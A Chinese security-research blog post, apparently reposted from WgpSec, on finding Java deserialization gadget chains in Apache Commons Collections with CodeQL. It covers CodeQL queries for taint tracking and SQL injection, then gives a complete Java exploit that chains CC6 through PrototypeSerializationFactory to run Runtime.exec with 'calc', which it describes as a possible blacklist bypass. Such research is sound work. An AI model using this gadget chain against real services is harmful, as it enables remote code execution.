点击蓝字
关注我们
SDK完全开源,里面包含大部分现成的漏洞规则,我们也可以利用其编写自定义规则
cd ~/CodeQL&git clone https://github.com/Semmle/ql
类型
存在类似于CharAt(0)
的内置函数
2.整型与浮点型
https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
3.日期型
https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
4.布尔型
https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
import java
from Parameter p
where not exists( p.getAnAccess() )
select p
from Person t
where t.getAge() = max(int i | exists(Person p | p.getAge() = i) | i)
select t
select max(Person p | | p order by p.getAge())
min(Person p | p.getLocation() = "east" | p order by p.getHeight())
count(Person p | p.getLocation() = "south" | p)
avg(Person p | | p.getHeight())
sum(Person p | p.getHairColor() = "brown" | p.getAge())
生成Database
codeql.exe database create test --language=java --command="mvn clean compile --file pom.xml -Dmaven.test.skip=true" --source-root=../micro_service_seclab/
# 如何mvn编译报错使用 mvn compile -fn忽略错误
闭源项目创建数据库,可以使用该工具:
https://github.com/ice-doom/codeql_compile
-
https://github.com/waderwu/extractor-java同样可以在windows中使用,将run.py中的codeql_home手工修改,而不是使用which命令得到路径
构建JDK
(34条消息) 编译OpenJDK8并生成CodeQL数据库_n0body-mole的博客-CSDN博客
https://blog.csdn.net/mole_exp/article/details/122330521
类库
名称 | 解释 |
Method | 方法类,Method method表示获取当前项目中所有的方法 |
MethodAccess | 方法调用类,MethodAccess call表示获取当前项目当中的所有方法调用 |
Parameter | 参数类,Parameter表示获取当前项目当中所有的参数 |
method.getName() 获取的是当前方法的名称
method.getDeclaringType() 获取的是当前方法所属class的名称。
method.hasName() 判断是否有该方法
import java
from Method method
where method.hasName("getStudent")
select method.getName(), method.getDeclaringType()
predicate 表示当前方法没有返回值。
exists子查询,是CodeQL谓词语法里非常常见的语法结构,它根据内部的子查询返回true or false,来决定筛选出哪些数据。
import java
predicate isStudent(Method method) {
exists(|method.hasName("getStudent"))
}
from Method method
where isStudent(method)
select method.getName(), method.getDeclaringType()
//没有结果的谓词
predicate isSmall(int i) {
i in [1 .. 9]
}
//带有返回结果的谓词
int getSuccessor(int i) {
result = i + 1 and
i in [1 .. 9]
} //如果i是小于10的正整数,那么谓词的返回结果就是i后面的那个整数
什么是source和sink
在代码自动化安全审计的理论当中,有一个最核心的三元组概念,就是(source,sink和sanitizer)。
source是指漏洞污染链条的输入点。比如获取http请求的参数部分,就是非常明显的Source。
sink是指漏洞污染链条的执行点,比如SQL注入漏洞,最终执行SQL语句的函数就是sink(这个函数可能叫query或者exeSql,或者其它)。
sanitizer又叫净化函数,是指在整个的漏洞链条当中,如果存在一个方法阻断了整个传递链,那么这个方法就叫sanitizer。
override predicate isSource(DataFlow::Node src) {}
// 通用的source入口规则
override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }
override predicate isSink(DataFlow::Node sink) {
}
// 查找一个query()方法的调用点,并把它的第一个参数设置为sink
override predicate isSink(DataFlow::Node sink) {
exists(Method method, MethodAccess call |
method.hasName("query")
and
call.getMethod() = method and
sink.asExpr() = call.getArgument(0)
)
}
config.hasFlowPath(source, sink)
方法来判断是否连通。from VulConfig config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select source.getNode(), source, sink, "source"
//我们传递给config.hasFlowPath(source, sink)我们定义好的source和sink,系统就会自动帮我们判断是否存在漏洞了
Database
codeql database analyze /CodeQL/databases/micro-service-seclab /CodeQL/ql/java/ql/examples/demo --
format=csv --output=/CodeQL/Result/micro-service-seclab.csv --rerun
使用jdbcTemplate.query
方法的SQL注入
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.QueryInjection
import DataFlow::PathGraph
class VulConfig extends TaintTracking::Configuration {
VulConfig() { this = "SqlinjectionConfig" }
override predicate isSource(DataFlow::Node source) {
source instanceof RemoteFlowSource
}
override predicate isSink(DataFlow::Node sink) {
exists(Method method, MethodAccess call |
method.hasName("query")
and call.getMethod() = method
and sink.asExpr() = call.getArgument(0))
}
}
from VulConfig vulconfig, DataFlow::PathNode source, DataFlow::PathNode sink
where vulconfig.hasFlowPath(source, sink)
select source.getNode(), source, sink, "source"
Source
位置是List<Long> param
类型的传参,这里是不可能存在SQL注入的我们可以使用TaintTracking::Configuration
提供的净化方法isSanitizer
override predicate isSanitizer(DataFlow::Node node) {
node.getType() instanceof PrimitiveType or
node.getType() instanceof BoxedType or
node.getType() instanceof NumberType or
exists(ParameterizedType pt | node.getType() = pt and
pt.getTypeArgument(0) instanceof NumberType)
}
RemoteFlowSource
抽象类的编写/** A data flow source of remote user input. */
abstract class RemoteFlowSource extends DataFlow::Node {
/** Gets a string that describes the type of this remote flow source. */
abstract string getSourceType();
}
CodeQL里面的递归调用语法是:在谓词方法的后面跟*或者+,来表示调用0次以上和1次以上(和正则类似),0次会打印自己
在Java语言里,我们可以使用class嵌套class,多个内嵌class的时候,我们需要知道最外层的class是什么怎么办?
非递归,知道嵌套的层数:
import java
from Class classes
where classes.getName().toString() = "innerTwo"
select classes.getEnclosingType().getEnclosingType() // getEnclosingtype获取作用域
使用递归语法
from Class classes
where classes.getName().toString() = "innerTwo"
select classes.getEnclosingType+() // 获取作用域
强制类型转换
import java
from Parameter param
select param, param.getType().(IntegralType) //筛选出getType方法符合后面了类型的结果
我们通过codeql寻找transform方法的调用
class TransformCallable extends Callable {
TransformCallable() {
this.getName().matches("transform") and
this.getNumberOfParameters() = 1
}
}
在TransformedCollection#transform
的调用中存在可以调用其他transformer的transform方法的逻辑
没啥用,都已经可以调用任意transform了,还需要这一步吗?
ChainedTransformer
ChainedTransformer#transform
方法中存在iTransformers
中的所有的transform的调用,这里也就是yoserial项目中的利用链CloneTransformer
在CloneTransformer#transform
方法中存在, PrototypeFactory类实例化之后调用了create方法
我们跟进一下
new PrototypeCloneFactory
对象,之后调用他的create方法,如果没有就会进入catch语句,返回一个new InstantiateFactory
对象,但是这里因为在其类中的create方法中参数不可控不能够利用ClosureTransformer
在ClosureTransformer#transform
方法中,存在Closure#execute
方法的调用
Closure#execute
我们来查找一下有没有可用的实现了org.apache.commons.collections.Closure
接口的类的execute调用
class ClosureCallable extends Callable {
ClosureCallable() {
this.getName().matches("execute") and
this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")
}
}
this.iClosure.execute(input)
调用就是this.iPredicate.evaluate(input)
TransformerClosure#execute
方法中调用了transform,但是也不能形成利用链,最多算一个中转ConstantTransformer
ConstantTransformer#transform
方法中,将会返回一个构造方法,同样在yoserial中有所利用FactoryTransformer
在FactoryTransformer#transform
方法中,调用了Factory
接口的类的create方法
查看一下满足条件的类吧
Factory#create
class FactoryCallable extends Callable {
FactoryCallable() {
this.getName().matches("create") and
this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory")
}
}
这里有一个InstantiateFactory
类,好生熟悉,这不就是之前那篇文章中的CC链的挖掘,在其create方法中存在构造函数的实例化
TrAXFilter
, 我们尝试挖掘一下/**
* @kind path-problem
*/
import java
class ConstructCallable extends Callable {
ConstructCallable() {
this instanceof Constructor
}
}
class MethodCallable extends Callable {
MethodCallable() {
this.getName().matches("newTransformer") and
this.getDeclaringType().getName().matches("TemplatesImpl")
}
}
query predicate edges(Callable a, Callable b) {
a.polyCalls(b)
}
from MethodCallable endcall, ConstructCallable entrypoint
where edges+(entrypoint, endcall)
select endcall, entrypoint, endcall, "find Contructor in jdk"
iConstructor
属性被transient
修饰,但是在findConstructor中存在赋值PrototypeSerializationFactory
他是一个静态内部类刚开始看的时候觉得这不纯纯一个二次反序列化的入口吗,直接跟进一下子代码
在其构造函数中有对iPrototype
属性的赋值操作
我们可以尝试直接将CC6拼接上去
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6_plus_plus {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
//仿照ysoserial中的写法,防止在本地调试的时候触发命令
Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outMap = LazyMap.decorate(innerMap, transformerChain);
//实例化
TiedMapEntry tme = new TiedMapEntry(outMap, "key");
Map expMap = new HashMap();
//将其作为key键传入
expMap.put(tme, "value");
//remove
outMap.remove("key");
//传入利用链
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
Class c;
c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
Constructor constructor = c.getDeclaredConstructor(Serializable.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(expMap);
FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) o);
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap1 = new HashMap();
LazyMap outerMap1 = (LazyMap)LazyMap.decorate(innerMap1, constantTransformer);
TiedMapEntry tme1 = new TiedMapEntry(outerMap1, "keykey");
Map expMap1 = new HashMap();
expMap1.put(tme1, "valuevalue");
setFieldValue(outerMap1,"factory",factoryTransformer);
outerMap1.remove("keykey");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(expMap);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
能够成功执行,好吧,感觉挺鸡肋的,但是应该可以结合其他依赖,作为其他反序列入口来打,或者作为一个黑名单绕过
PrototypeCloneFactory
PrototypeCloneFactory#create
方法中InstantiateFactory
中存在赋值操作,但是我们同样可以注意到其在调用findCloneMethod
方法中的时候,取出了对应类的clone方法,如果clone方法有可以利用的是不是就可以形成利用链import java
class CloneCallable extends Callable{
CloneCallable() {
this.getName().matches("clone")
}
}
from CloneCallable c
select c,c.getBody(), c.getDeclaringType()
在BeanMap中,对应的clone方法中存在newInstance的调用且其beanClass
可控,但是是无参构造方法,无法形成利用链
ReflectionFactory
的调用,同样是无参构造方法InstantiateTransformer
而对于InstantiateTransformer#transform
方法中可以进行InvokerTransformer
的替代使用,可以触发一些类的构造方法
比如说TrAXFilter
InvokerTransformer
接下来就是ysoserial中存在的InvokerTransformer#transform
方法中可以反射调用可控的方法
PredicateTransformer
PredicateTransformer#transform
方法中存在Predicate
接口实现类的evaluate方法Predicate#evaluate
import java
class PredicateCallable extends Callable {
PredicateCallable() {
this.getName().matches("evaluate") and
this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate")
}
}
from PredicateCallable c
select c, c.getBody(), c.getDeclaringType()
SwitchTransformer
之后SwitchTransformer#transform
方法中,存在有类似ChainedTransformer#transform
的功能
this.iPredicates[i].evaluate(input)
为true,而且似乎这里只能调用一次transform,不能形成链子,也没有了意义链子没有挖出来什么比较新的链子,有一个比较鸡肋的二次反序列化的链子,但是主要还是体会这种使用静态分析工具辅助自己进行挖掘新链,这次主要是在CC链中进行transformer层面的深度挖掘,当然还可以在动态代理等等方面进行深层次的探索,又或者以来其他依赖库结合进行挖掘利用的方式也是可行的
往期推荐
原文始发于微信公众号(WgpSec狼组安全团队):细谈使用CodeQL进行反序列化链的挖掘过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论